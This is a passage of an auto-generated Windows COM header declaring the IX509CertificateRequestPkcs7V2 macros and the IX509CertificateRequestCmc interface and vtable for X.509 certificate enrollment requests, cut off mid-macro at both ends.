GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs7V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7V2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7V2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7V2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs7V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestPkcs7V2_CheckCertificateSignature(This,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab345-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplateName( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CryptAttributes( \n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_X509Extensions( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CriticalExtensions( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TransactionId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_TransactionId( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SenderNonce( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivePrivateKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ArchivePrivateKey( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyArchivalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionStrength( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificates( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmcVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmcVtbl;\n\n    interface IX509CertificateRequestCmc\n    {\n        CONST_VTBL struct IX509CertificateRequestCmcVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCmc_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_HashAlgorithm(This,ppValue)\t\\\n    ( 